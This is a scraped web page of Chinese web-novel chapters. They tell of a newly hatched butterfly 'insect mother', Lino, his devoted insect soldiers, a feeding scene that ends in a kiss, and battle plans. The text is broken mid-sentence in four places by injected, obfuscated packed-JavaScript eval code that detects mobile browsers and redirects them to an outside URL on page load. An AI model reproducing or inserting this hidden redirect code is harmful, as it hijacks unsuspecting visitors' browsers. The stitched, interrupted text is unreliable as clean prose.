RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15940052|177316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翅膀分泌废液的部位。 “去死吧！”梅克觉得这些怪物都是神经病，他信奉白主都没这么过分！ 除却对虫母的热爱，安瑟姆平时就是一只老实木讷的虫，他面无表情：“伊戈提安，谢谢你带我找到了冕下。” 说着，利刃出击，安瑟姆挡下梅克的一击。 梅克被震得后退，他握着圣矛的手在发颤，这些怪物，比他想象中要强大多了。 伊戈提安被抢走猎物，不高兴道：“你去下面帮那些学生，这头猎物是我的。” “好的。”安瑟姆不争不抢，带领近卫队飞下去杀的怪物。 在梅克的下属加入战场后，洛尔南为首的学生就有些不敌，他们毕竟是学生，战斗技巧还有不足。 伊戈提安则吊儿郎当地抽出冷兵器，迷雾之门不允许热武器的进入，不然他早就扛着灭世级武器进来了。 他朝梅克勾勾手，像是在逗一只癞皮狗：“不如我们商量下，我晚点杀你，你告诉你的通用语是从哪里学的？” 身为白主信任的仆从，梅克平时都是被恭敬对待的，哪里遇到过这种情况，气得鼻子都歪了：“去死！” “你就会说这句通用语？”伊戈提安躲过，尾钩、翅膀以及长剑相互配合，轻松给梅克身上捅出几个大洞。 然而梅克毕竟不弱，伊戈提安没能伤害到他的致命点。 几个回合下来，伊戈提安只是衣领脏乱了些，而梅克狼狈不堪，白布被血迹染脏，黑色的皮肤伤痕累累，再加上伊戈提安不停挑衅，他眼珠内的红血丝越来越多。 直到最后，梅克似乎失去了理智，他怨毒地后退，嘴里念着什么，然后将圣矛捅在了自己的眼睛里，矛尖从后脑勺冒出。 伊戈提安整只虫惊了：“怎么回事？还能这样？”他完全不知道，在某种意义上，是他的挑衅活生生气疯了梅克。 在梅克气息消失后，伊戈提安反而没有放松，而是更加谨慎。 那根长矛正在吸收梅克的血液，血丝从梅克的眼眶探出，像是有生命一样，在矛和梅克的尸体上交缠，短短几个呼吸，梅克的身体已经覆盖上厚厚一层血丝。 伊戈提安感知到了危险，他猛地飞下来，而那血丝化作的血箭则射到了刚才伊戈提安站立的位置。 安瑟姆解决掉最后一只怪物，呆板问：“伊戈提安，你解决好了吗？” 伊戈提安：“没有，倒是大麻烦要来了。” 输送着不详的血丝操纵梅克的身体，摇摇晃晃站起来，血红的翅膀飞了过来，眼眶内探出的血丝凝聚成血球。 它贪婪饥渴地朝利诺所在的方向扑来。 也是这时，绚丽的色彩从小屋内爆发，巨大的冲击使小屋塌陷。 属于虫母的甜美味道飘进每一只虫族的呼吸内，在场的虫族不禁放轻了呼吸。 白色的蛹破开，一对透明如水晶闪耀、可以折射出世间一切颜色的翅膀张开，后翅渲染着两团极其漂亮艳丽的玫瑰色红晕。 与其他虫族尤其是蛾群完全不同的轻灵翅膀微微抖动，磷粉洒落之地，生长出粉色的小芽。 利诺从来没有这么轻松过，他顾不上看自己破茧后长什么样子，而是迫不及待地飞起来。 从此以后，他也是有翅膀的小虫啦！ 12. 第十二章 虫母破茧的刹那，所有虫族意识海内那轮黯淡的弯月悄然点亮，银白色的光辉照佛虫族们昏暗的意识海。 那光辉带着神奇的、虫族们无法抗拒的力量，安抚着那些疲倦的、动乱的意识海，温柔地照耀虫族孤独干涸的心。 正如拉斐尔曾对利诺说的那样，虫母在虫族的地位是绝对至高的，无论是身处迷雾之门的虫族，还是外界的虫族，都感知到自己与虫母坚韧且无法割断的联系。 虫族望向意识海内属于虫母的一盏银白弯月，产生了落泪的冲动。 吧嗒—— 不是冲动，虫族们茫然地用手触碰眼角的湿润，他们哪里知道，原来眼睛也会分泌液体。 落泪的感觉很陌生，但很踏实，仿佛他们从此有了所栖之地，有了要保护的存在，也有了被保护的感觉。 所有的虫族从小就会被教导，虫族的使命是驱散迷雾、征服宇宙，然而所有的虫族都会疑惑，他们要为谁驱散迷雾、为谁征服宇宙？ 为自己？虫族并没有那样的野心；为整个种族？虫族其实也不是这样高尚的种族，他们强调虫族的团结，但实际上如何都心知肚明。 而现在，他们终于找到了真正的目标，为意识海里的弯月，为赐予他们月光的虫母！ 整个虫族先是死一般的寂静，接着便是沸腾和狂欢，每一只虫子都在迫切又狂热地呼唤母亲。 然而这呼唤就像是石沉大海，得不到虫母的一丝回应。 虫族们又开始陷入慌乱和担忧，他们的弯月在哪儿？又是否遇到了危险？ 妈妈……妈妈……妈妈在哪里…… 虫族中最幸运的，无疑就是现场亲眼见证蝴蝶破茧而出、尽情飞翔的虫族。 蝴蝶是小小的一只，漂亮的翅膀伸展也不过只有一米长，比起虫型动辄三米五米的高度简直是袖珍的玩偶。 刚获得翅膀的小蝴蝶正在学习飞行，尾端点缀红晕的透明翅膀生疏又笨拙地拍打，在空中时高时低，留下一道歪歪斜斜的飞行轨迹。 “冕下……” “妈妈……” 地面上的虫族在利诺破茧之后，各色各形态的竖瞳就锲而不舍地盯着虫母，全然忘记眨眼，哪怕眼珠干涩，也还是无法将炽热的视线从蝴蝶身上移开。 他们痴痴望着，发觉蝴蝶飞行歪扭，连忙跑着追寻蝴蝶的飞行，捧着手去接，怕小蝴蝶掉下来，怕那双轻薄的水晶翼折断。 在场的虫族像是傻了一般，大脑停止转动，连自己会飞行也不记得了，全部追随天空上蝴蝶的翩翩飞舞而在地面紧张打转。 画面诡异但滑稽。 利诺很快就适应了飞行，他有时间往下看，纤长的触角感应周围的气息，然后迅速发现了跟着他跑的一堆虫族。 “……”蝴蝶微微停顿，接着像是什么也没有看到一样抬起头。 磷粉从翅翼零星掉落，落到泥土里，生出玫瑰红的枝芽，落到虫族的身上，治愈他们外表的伤痕和意识海的动荡，落到从黑皮怪四周延伸扭曲的血丝上，就变成了腐蚀性恐怖的毒液。 小蝴蝶在半空翻了个白眼，有些嫌弃地上只知道跟着他跑的虫子，白长那么大的个，也不知道处理血丝，还得让他来解决！ 但是利诺知道，以他现在的力量还是无法彻底杀死那怪奇的血丝。 破茧成蝶的他，收到潜藏在基因深处的传承，传承告知他，他是虫族的第一只虫母，他要带领诞生不久的虫族走向成熟和强大。 利诺的第一反应就是，为什么要喊他虫母！不知道是不是因为成熟的原因，他居然并不排除这个称谓，而是震惊了几秒后就接受了这个现实。 然而虫族只是一个新诞生的种族，在有了利诺这只虫母才补齐了最后一块关键的拼图，也因此，那些传承少的可怜，大部分仍然需要利诺一点点摸索。 新生的虫母此时还很孱弱，那翅膀上的磷粉是唯一可以攻击到地上血丝的东西。 但是利诺并非一台全自动磷粉制造机，他的磷粉有限，再次生成需要时间。 好在在场虫族没有利诺想象中那般无能，安瑟姆最先反应过来，意识到虫母在辛苦攻击汲取怪物血肉的血丝而他们跟着虫母跑，他差点狂扇自己一百个大嘴巴。 他抿紧唇，尖锐的兵器割断血丝，并且高喊：“为冕下铲除一切危险！” 尽管虫族之前从未有虫母的存在，但这只近卫队队长被培训得很合格，他的怒吼叫醒还痴迷蝴蝶的其他虫族。 血丝操纵的黑皮怪明显更强大，黑皮怪不过是一个载体，四周狂舞的血丝才是虫族需要解决的敌人。 利诺飞累了，干脆选中高处的一根树干，趴在上面，懒洋洋地旁观。 他对这些虫族很自信，毕竟有三只高级虫族，其中有张脸他经常在通讯平台见到，伊戈提安，最高军部二军军长。 利诺看了眼，就迅速移开视线，放到那只将他带回虫巢的戟虫，那只戟虫的意识海重度紊乱，在经过意识海弯月以及磷粉的影响后，状态明显好了很多。 伊戈提安啧了声，怎么小蝴蝶一直在看那头失了智的虫兽，虫兽五大三粗黑黢黢的，根本没有他的虫躯好看…… 怀着翻滚的不忿，伊戈提安将血丝操纵的黑皮怪对半分开，又横竖花样将其切成丝块。 他得意又带着点矜傲，似是不经意地抬起下巴往小蝴蝶的方向望，令他失望的是，利诺正在看安瑟姆。 伊戈提安的眉眼黯然，将成了两半的刀随意插进土中。 血丝的生命力顽强至极，还在土壤中丑陋地扭动，直到安瑟姆将随身携带的火机点燃扔进那滩肉泥中。 军部特供的火机无情烤炙还保留着部分活性的血丝，在高温中，被烧灼的血丝发出类似呻吟的痛苦嚎叫。 “冕下！”做完一切后，确认周围再没有危险，安瑟姆单膝跪地，对着利诺恭顺地垂头。 “冕下！”其实其他虫族更想喊妈妈，可是又觉得自己不配，于是跟着安瑟姆做。 不久前还是只低级毛虫的利诺不太适应这样的场景，但身体内的血液沸腾，再告诉他，其实他很喜欢这种感受。 利诺本以为要付出很多的努力和漫长的时间才可以爬到虫族比较靠上的位置，却没想到，最后的一次破茧让他直接凌驾所有虫子之上。 小蝴蝶悠悠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15940053|177316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 飞下来，化成人形，白皙的脚尖踩在松软的泥土上，晶莹可爱。 感受到凉丝丝的风，利诺意识到他没有衣服了。 他的衣物包括院长给的空间钮在茧内全部溶解，因此化作人形时不着一缕，奶白色的皮肤泛着漂亮的光泽，四肢纤长。 “咕咚——”有虫在咽口水。 是顺着莹白的足和脚踝往上看的伊戈提安，赤红的竖瞳着迷地黏在利诺身上，喉结滚动。 被注视的利诺没来及生出羞耻感，而是突然意识到自己似乎长高了？ 利诺看向呆愣的伊戈提安：“有镜子吗？” “没有……”伊戈提安口干舌燥，猛地从地上站起来，将外面披着的军部风衣套在利诺的身上，“您、小心着凉……” 伊戈提安很庆幸他在战斗时不喜欢衣物被弄脏，此时风衣较为干净，不会弄脏利诺纯□□致的胴/体。 被其他高级虫族评为“军部混蛋”的伊戈提安此时俊脸滚烫、双目迷离，很是纯情，完全没有平时混不吝的样子。 “谢谢。”利诺习惯道谢，他悄摸比了比自己和伊戈提安的身高，微微失望。 他就算长高了，也很低，伊戈提安穿着到膝盖的风衣到他身上就到了脚踝。 他可是厉害的虫母，为什么还不能比其他虫子高！ “都起来吧。”利诺套上风衣，确保不会在未来的下属面前遛鸟，这才清清嗓子，相对淡定地道。 内心的小蝴蝶在深思，他这样说，应该很具备bking的气息吧！ 小蝴蝶桀桀地笑：我的子民，都来臣服在我的龙傲天气场之下吧！ 虽然活了两辈子，利诺这辈子刚成年不久，上辈子更是才十五岁就死在了丧尸群中，偶尔中二很正常。 表面上，利诺还保持着自以为的深沉。 “冕下，您卑微的仆从有镜子。”安瑟姆始终保持垂头的姿势，在利诺允许起来后后才仰头，隔空掏出一面精巧的小镜子，双手奉上。 作为精心培养照顾虫母的近卫队队长，安瑟姆是一只特殊品种虫族，天生生有一只储存囊，里面除了他的武器，剩下的全都是虫母需要的物件，应有尽有。 利诺的“深沉”没持续一分钟就破功，他给安瑟姆道了声谢，拿起镜子看自己的变化。 果不其然，在最后一次破茧后，利诺真正长大，如果从前是少年青涩的模样，如今则偏向青年，银灰色的竖瞳晶晶亮。 灰扑扑的发色如同洗尽铅华，白色的发丝乖乖贴在脸颊，发尖带上鲜艳的颜色。 这颜色是利诺透明翅膀上仅有的玫瑰红晕，如同点睛之笔，将五官衬托得越发艳丽。 小蝴蝶端详镜子许多，期待的表情回归失落，他将镜子还给安瑟姆。 利诺还以为他会变成硬汉，结果还是这种弱不禁风的样子。 他恹恹地环视四周：“先换个地方暂时休整。” 就算不高兴，利诺也没忘记要关闭迷雾之门。 其他虫族始终注视被围在中心的青年，没有任何异议。 哪怕青年说要他们死，他们也会想办法死出花样和新奇，只要虫母高兴。 13. 第十三章 安瑟姆伸出双手，虫瞳因为过于激烈的情绪而收缩成针芒：“冕下，我、我来抱着您行走。” 他一早就发现了利诺没有穿鞋子，如若不是因为对利诺下意识的臣服，安瑟姆估计会立马将其抱起来，以免那与血肉混杂的污浊泥土玷污青年雪白的足。 利诺打量了安瑟姆好一会儿，虫族化作的人形都有一张英俊的面孔，他们在形态上更偏向人类定义的男性。 安瑟姆也是如此，五官立体，却没有太强烈的侵略性，偏黑色的竖瞳看起来有点呆，给利诺一种怎么欺负他也不会生气的感觉。 利诺伸出手，对上安瑟姆有些躲闪的视线，看起来乖巧的笑掩盖住内里戏谑的心思：“那就有劳你了。” “我的荣幸！” 在其他虫族或明或暗的嫉妒中，安瑟姆连忙擦干净手，微有些颤抖地搂住小蝴蝶的腰，然后打横抱起。 他垂眸问询：“冕下，接下来我们要离开此地，您有想去的地点吗？” 利诺抬头：“暂时找个安全地。” “遵命。”安瑟姆调整姿势，让怀中的利诺能够躺得更加舒服。 伊戈提安从鼻尖溢出一声轻哼：“往这里走，我嗅到了安全的气味。” “冕下，伊戈提安是荒漠追寻蚁，也是他带领我们找到的您。”安瑟姆提及。 利诺点点头，同意了伊戈提安的引路。 二十来只军校虫族，十来名护卫队成员，再加上伊戈提安和安瑟姆，利诺的周围暂时聚拢起几十只虫族。 强悍的体质赋予虫族行进的高速，利诺眯起眼，第一次见证全速前进的虫群，宛若疾风。 “虫兽有跟着吗？”利诺问，他并不会如同虫族对待虫兽的排斥态度对待虫兽。 那只并不残暴的戟虫救了他，在他蜕变期间保护他，不然利诺八成要被抓走给那劳什子的白主。 “在跟着。”安瑟姆不用回头就能感知到虫兽在队伍后紧紧跟着。 “那就好。”尽管传承内容少得可怜，但是利诺有把握可以治愈那只虫兽紊乱的精神海。 安瑟姆张了张嘴，最终把想说的话咽了下去。 按理说，在见到虫兽时，虫族应该将其解决掉，狂躁、毫无理智的虫兽是定时炸弹，是个大麻烦。 然而那只虫兽并没有敌我不分，而是始终保护虫茧的利诺，安瑟姆甚至能够感觉到虫兽周身狂躁的气息因为利诺的破茧而平息很多。 联想到拉斐尔阁下对虫母信息的推测，安瑟姆偶尔小心注视利诺的眼神更加炽热。 利诺接着好奇地问：“你也是蓝星军部的虫吗？负责关闭迷雾之门的？” “回冕下，我是来找您的。”安瑟姆抱紧利诺的腰，脸升起羞涩的红，“近卫队包括我一共十二名虫族，都是为了侍奉和保护您而存在的。” 安瑟姆一边保持速度，一边给利诺解释：“早在二十年前，拉斐尔阁下就提出了虫母的设想，我有幸从众高级虫族内选拔出来，成为近卫队队长。” 其他的，例如军部内里因为虫母而分成的对立两方至今仍在互相侵轧，安瑟姆则没有提，那些对现在的虫母来说是困扰和伤害。 利诺不觉得奇怪，心安理得地接受这支为他而生的护卫队，纤细的指尖搭在高大虫族的肩膀上。 不到十来分钟，伊戈提安带领所有虫族到达安全地点。 不用利诺吩咐，虫子们自发活动，有条不紊地排查四周环境、驻扎营地和生火。 虫族在迷雾之门内几乎是不休息的，因此后两项明显是为脆弱漂亮的利诺准备。 不多时，利诺清洗干净，换上安瑟姆空间囊内偏大的衣物，坐在同样来自空间囊的小板凳上。 安瑟姆，虫族版的哆啦A梦，名副其实。 利诺的空间纽包括里面的所有东西全都在虫茧内溶解，他只能凭借记忆将自己已知的信息简单复述。 这里有足足三只高级虫族，显然，他们此时有关闭迷雾之门的实力。 利诺喝了口杯子里的热水，腹部的饥饿并没有很能缓解，他隐晦地看了眼虫群内的洛尔南，舔了舔嘴角。 “我已知的就是这些。”利诺道，“我认为钥匙就在那座怪物的城市内，而黑皮怪物口中的白主就在那里。” 他说完就等着其他更有经验的虫族说话，作为一个小白，能够提供一些信息就很可以了，剩下的还是要伊戈提安这些不知道关闭了多少扇门的虫族解决。 …… 很安静，非常安静，安静到利诺能够听到虫族们粗重的喘息。 利诺：“？” 在火光下，皮肤更加白皙的青年茫然不解：“我说错什么了？” 伊戈提安的胸腔剧烈得跳动，他是最先回应的：“不，您说的很对，很厉害……” 伊戈提安绞尽脑汁，想不出来能用来夸奖利诺的词汇，毕竟平时他都是挑刺、找乐子多，根本没有说过好话。 但经受过专业虫母护卫训练的安瑟姆就不一样了，他尽管木讷，却在夸赞利诺这事上如鱼得水，没有重复的几十个通用词汇脱口而出，将利诺这只喜欢伪装的小蝴蝶都夸得脸蛋通红。 利诺咳咳着打断安瑟姆，表面谦虚实则已经骄傲叉腰：“这是我应该做的，接下来，我认为我们有必要去怪物城池找钥匙。” “一切都听您的。”伊戈提安俯首，竖瞳猩红，收敛周身锐利的气息，显得乖顺极了。 安瑟姆讶异了看了眼伊戈提安，都说伊戈提安是混蛋，然而此时，他是虫母冕下一只忠诚的虫族。 “时间不早了，冕下，您应该休憩片刻。”安瑟姆适时提醒。 虫族不需要休息，但虫母不可以，虫母冕下是虫族最珍贵的存在，再怎么小心呵护也不为过。 利诺肚子很饿，只有虫族于翅膀分泌的液体才可以满足他的食欲，可是废液这一称呼在虫族传了不知多少年，他羞耻向其他的虫族要求吃废液。 洛尔南和虫兽是利诺可以求助的存在，他们都用废液喂食过他，利诺并不会难为情。 他看了看虫兽还略显混沌、盯着他的目光，在结茧前的记忆中，他似乎吃干了虫兽的所有液体……这期间虫兽又一直死守，没有机会觅食，这就意味着，虫兽分泌不出甜美的液体。 洛尔南变成了利诺此时唯一的选择。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15940054|177316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 在经过洛尔南身边时，利诺悄悄勾了勾洛尔南的小手指。 年轻的虫族则用喉咙里的呼噜回应了他。 利诺在一次性外置屋内坐立不安，摸着肚子，在内心呼唤着洛尔南的名字。 他好饿，快饿死了，洛尔南怎么还没来！ 在变成蝴蝶后，利诺就发觉他意识海多了数不清的星点，而这时，一只星点在微微闪烁。 利诺的精神触角摸上那只星点，从触角传来的信息让他惊讶。 这只星点，代表的是洛尔南。 利诺看向其他的星光，所以，这里的每一颗星星，都代表了一只虫族？ 他尝试通过星星沟通洛尔南，精神触角在星星上缓缓滑动。 在阴影里潜伏、寻找进去契机的洛尔南忽然一顿，他的意识海里那轮弯月闪烁，紧接着，一道委屈的声音通过意识海穿到他的耳朵里。 “洛尔南，我好饿……” 是利诺的声音，如往常般好听，但却让洛尔南感到心碎。 他的蝴蝶快要饿坏了……洛尔南望着周围巡视的护卫队虫族，神色焦急。 利诺缠着属于洛尔南的星点要饭吃，根本不知道外面被护卫队紧密保护巡逻，仅是学生的洛尔南很难进入。 却不是没有可能，利诺收起意识海的精神触角，又看了眼那些沉睡的果子，无聊地躺在软床上，发呆地望着天花板。 许是蝴蝶本就脆弱美丽，利诺变娇气了很多，那些他可以忍受的饥饿现在一点都无法忍受。 正在他想要不要豁出去、把自己爱吃其他虫子废液的癖好说出去时，一双大手揽住了利诺都腰。 “冕下。”洛尔南深深嗅了口利诺的气息，压低声音，淡金的翅膀张开，对于利诺是美味的液体从翅根不断分泌。 “洛尔南……好饿……”利诺眼睛红了，他咬上洛尔南的翅膀尖，吞咽着蜜水。 “唔！”洛尔南轻哼。 利诺不那么尖锐的牙齿撕咬虫族相对敏感的翅膀，造不成任何伤害，反而让黄蜂舒爽低吟。 欲望席卷尚且气血沸腾的黄蜂，洛尔南摸着利诺柔软的白色发丝，又顺着发丝轻捻利诺的圆润的耳垂。 “冕下，我在私底下可以喊您利诺吗？”洛尔南弯腰，小心询问。 利诺胡乱点头，埋首吸食蜜水。 洛尔南阴郁了许久的心情犹如天气由阴雨绵绵骤然放晴，他尽力让自己的翅膀更贴近利诺，便于利诺进食。 “真好。”洛尔南小声地对利诺说，“幸好你还需要我，不然我不知道要怎么办好了。” 那几只高级虫族像苍蝇一样围着利诺打转，洛尔南很不爽，却没有制止的理由和力量。 他虽然是只无限接近高级虫族的黄蜂，潜力无限，但他也才十九岁，完全无法撼动早已关闭多扇大门的虫族。 洛尔南现在还没有资格站到利诺的身边，这样就够了……至少利诺喜欢喝他分泌的液体。 他会加倍训练，争取早日站在利诺身边。 “慢点喝，利诺，不要呛到。”洛尔南耐心地安抚利诺，“我还有很多，你可以慢慢吃。” 14. 第十四章 新诞生的虫母很贪心，唇舌吮吸黄蜂的翅翼，卷起最后一滴蜜水，将比蜂蜜还要好吃的食物掠夺在口中。 积蓄的蜜液一点都不剩，然而利诺还在无意识地追寻蜜液的踪迹。 青年湿红的舌尖轻轻滑过，年轻的蜂族止不住地颤栗，受不了似的收回翅膀，将茫然的虫母与自己拉来一段距离。 利诺不满，眼尾垂下一片微红，他小声喊了句：“洛尔南？” 尾音上扬，似悦耳的音符在洛尔南的心头跳动。 洛尔南英俊的面孔泛着薄红，一直蔓延到脖子，重重地喘息，却又提防外面巡逻的其他虫子而不得不压低声音。 平时多繁重的训练都不会怎么出汗的黄蜂此时满头大汗，汗珠从下巴滑到深处，是利诺没有见过的情形，属于一只虫族真正的情动。 洛尔南在压抑莫名的冲动，他不知道自己怎么了，虫族可没有什么生理常识课，顶多是教他们如何贡献繁衍细胞。 有股冲动在叫嚣，在见到利诺的第一面便已经产生，在第一次的喂食中生长，在见证利诺破茧变成类似迷雾之前才有的蝴蝶时加重，最后在利诺依赖他时到达顶点。 洛尔南想亲吻利诺。 利诺渴望他的蜜水，洛尔南更加渴望得到利诺的关注和……爱，比起利诺的渴望还要旺盛。 黄蜂心眼不多，想什么就是什么，他小心翼翼地捧着利诺的脸颊，指尖颤抖，轻问：“利诺，我可以……亲亲你吗？” 利诺：“……” 利诺脑壳空白了一瞬，银灰的透彻眸子盯着羞涩却在散发雄性荷尔蒙的黄蜂，大脑宕机。 成长到青年模样的利诺面孔愈发艳丽，眸子含水，面若桃花，唇珠似是诱惑他人叼住细细品尝。 利诺不知情，他的存在时时刻刻都在调动这些虫族的欲望，繁衍的职责令他本身成为含满汁液的果子。 虫族敬他，也注定身心沦陷，深深地爱他。 利诺吃了八分饱，脑子刚可以转动，就被洛尔南的询问打得找不到北。 什么叫……可不可以亲他？ 利诺没听说过哪家老大会被小弟亲的……这当然不可以！ 然而利诺沉默太久，洛尔南便将这种沉默当做同意，他咽下口水，迫不及待地依靠虫族的本能，将嘴巴凑近利诺红艳的唇。 在利诺放大的瞳孔中，他的嘴唇被另两片柔软触碰，摸索，紧接着是湿滑的舌。 “啪！”瓷器落地碎裂，将利诺从震惊中缓神，一把推开沉浸其中的洛尔南。 利诺捂嘴，结结巴巴：“下属、下属不可以啵上司的嘴！” 两辈子都没涉及过爱情和亲密的利诺实实在在地慌了。 他会冷静面对比他强的敌人，会熟练佯装无辜可怜为自己寻求助力，也会寻求各种便利上位，但不代表，他会处理被亲吻的突发情况！ 在利诺的观点里，只有相互喜欢、要生小孩的人才会亲吻！ 洛尔南遗憾懊恼，他没有彻底开启利诺的唇齿，就被讨厌的虫子给搅和了。 他对利诺安抚地笑笑，接着冷眼扫向进入的不速之客：“安瑟姆阁下，您进来都不敲门的吗？” “我也想问，你偷偷潜入冕下的房间，不打报告吗？”安瑟姆无视地上的狼藉，神情同样冰冷。 安瑟姆快要气死了，他鲜有情绪起伏，仅有的几次都是因为利诺。 他为尊敬的冕下端来热茶和亲手做的小甜点，迷雾世界的条件不允许他做出更精致的甜点。 安瑟姆仅能用简陋的食材尽量做出美味又精致的甜点，来讨好他们的虫母。 可是，安瑟姆却看到，一只该死的虫族搂着尊贵的利诺冕下在！亲！吻！ 安瑟姆不像其他虫族，他经受过专业的侍奉虫母的训练，具备丰富的理论知识，只待为虫母服务的契机。 这只该死的虫子，玷污了冕下，看冕下那懵懂的表情，想必完全不知道亲吻在迷雾降临前意味着什么！ 青筋从安瑟姆的脑门迸出，只消利诺一句吩咐，他就把洛尔南给彻底阉割！鼓起裤子的东西不需要再脏掉利诺冕下的眼睛！ 眼看两只虫子要打起来，利诺缓慢地眨了下眼：“等等，是误会。” “冕下，我分明看见他……”安瑟姆目光阴沉。 利诺弯唇：“安瑟姆，不用多说，是你误会了。” 小虫母打了个哈欠：“我累了，你们先出去。” 利诺的脸上染上明显的困倦，在安瑟姆和洛尔南退出去前还提到：“我不想看到因为无所谓的争斗而受伤的虫族。” “……遵命！”安瑟姆和洛尔南一个咬牙、一个得意，乖乖离开。 利诺暗戳戳夸奖了下自己，毕竟他作为虫族金字塔尖的虫母，阻止了一场没有必要的内讧。 利诺自豪地想，他天生就是当首领的料子，要不是上辈子基地首领陷害他，他早就当了基地大首领，这辈子当虫母，完全是上天对他的补偿嘛！ 不过……利诺摸摸带着点水渍的嘴唇，又想到他上辈子无意间看到恋人间的深吻。 他不明白为什么那对恋人很享受，利诺晃动双脚，在度过惊讶后，回味洛尔南的亲吻，发现也就那样，嘴对嘴而已，还没有洛尔南分泌的液体甜。 利诺在大事上心细，在小事上就比较洒脱，很快就把这件事抛到脑后，现下最重要的就是找到钥匙然后销毁。 亲就亲吧，他堂堂虫母，又不会掉层肉。 没有饥饿的折磨，他闭眼浅眠，但也只是浅眠了两小时，之后他醒来开始思考潜进怪物城的可能性。 虫族的作战模式简单粗暴，就是一味地闯和冲，毫不在意也不恐惧死亡。 他们当然有策略，但更多的时候不会用，而是几只高级虫族带着一队虫族直接杀。 但利诺就偏向谨慎，末世的幸存者每一位都很重要，他习惯以最小的伤亡来获取每一场的胜利。 “不可，冕下，这万万不可！”在听到利诺的建议后，安瑟姆的反应最大。 他担忧道：“您的安全是最重要的，您想要什么我们都会为您做到，您实在不用冒那样大的风险！” “这是代价最小的方法。”利诺反问，“也许根本不会死伤。你难道不相信我的能力吗？” 他最擅长伪装，加上那些怪物的翅膀以及肤色的伪装，利诺很符合怪物城市中那些瘦弱底层黑皮怪的身形。 只要他顺利潜入其中，利诺就可以获取更多的情报，例如怪物的数量以及白主的相关信息，为虫族提高胜利的可能。 利诺觉得完全没问题，他上辈子很多时候也是这么来的，先是和副队长一起用基地研发出来的伪装药水涂抹全身，进入全是丧尸异兽的城市，绘制地图然后标注重点区域，最后率领团队一点一点地消灭怪物。 他没想到，只是提出来一个大概，面前的虫族就哗啦啦地倒地…… 利诺很不理解虫族的反应，要是他还是单独一只无名小虫，他肯定不会冒险，然而当上首领，不就是要这样冲在最前面的吗？< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15940055|177316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>安瑟姆单膝跪地：“冕下，您或许还没有反应过您的重要性……您是虫族延续的根本，也将会是所有虫族的精神支撑，只要您一直安全健康，我们才有继续驱散迷雾的底气和信心。” 伊戈提安张嘴，眼神复杂地望了眼利诺：“您……” 比起安瑟姆，战斗经验更足的伊戈提安立刻发现了利诺的不对劲，他们的虫母冕下，似乎很习惯承担最大的责任和自我牺牲。 伊戈提安无法表达出自己的感受，密密麻麻的酸涩蔓延四肢，很想抬起来，摸摸小蝴蝶的头，告诉他，只有无能的废物才会把他们的虫母推到危险之地试水！ 虫族，根本不存在无能之辈。 “好吧，这个计划暂时搁浅”利诺不自在地挠挠脸侧，他并不独断专行，“那你们有什么想法吗？” 刚松了口气的虫族们面面相觑，直接打不就行了吗？死伤数量一直都不是他们在意的点。 这时，一只低级虫族颤巍巍地举手，他的目光透出濡慕：“冕下，我是变形戟虫，战力不高，但可以进行一定程度的伪装，我可以变成怪物的样子去探听信息。” 利诺眼睛猛地亮起来，他握住虫子的双手：“同学，看来，你正是这场战斗的关键！” 身为低级虫族、踩着线才进到军校的新生被他亲近的小蝴蝶握手，又被赞叹，差点激动地昏过去：“没、没有，感谢冕下的夸赞……” 最终虫族们还是选取了利诺的计划，先让那只变形虫潜入敌方阵营，由伊戈提安率领其他充足在城市附近潜伏。 一旦变形虫被发现，他们会直接杀进城市。 临走前，利诺在自己的意识海标记了属于变形虫青年的星点，告知他与自己联系的方法。 简而言之，虫族意识海弯月的亮起，代表着庞大精密的联系脉络的生效。 “冕下，要吃点什么吗？”安瑟姆细心询问。 利诺昨天吃了很多洛尔南的蜜水，并不饿，摇了摇头。 发觉小蝴蝶的心不在焉，安瑟姆道：“冕下，您真的很温柔，像极了我一直设想的虫母模样。” “额……你是第一个说我温柔的……”利诺转头。 安瑟姆弯腰：“是您让我意识到，原来我们的生命在您眼中也很重要。” “我曾参与过数次迷雾之门的关闭，没有一只虫族在意生死，他们如同没有根的浮萍，活着也行，死了也不错，类似麻木般杀怪物、会被怪物杀，尸体倒在迷雾世界内。”安瑟姆回忆。 他回望利诺，眸子闪烁着异样的色彩：“而您，提出的计划全是如何降低虫族的伤亡，我感觉……很不可思议。” 是的，很不可思议。 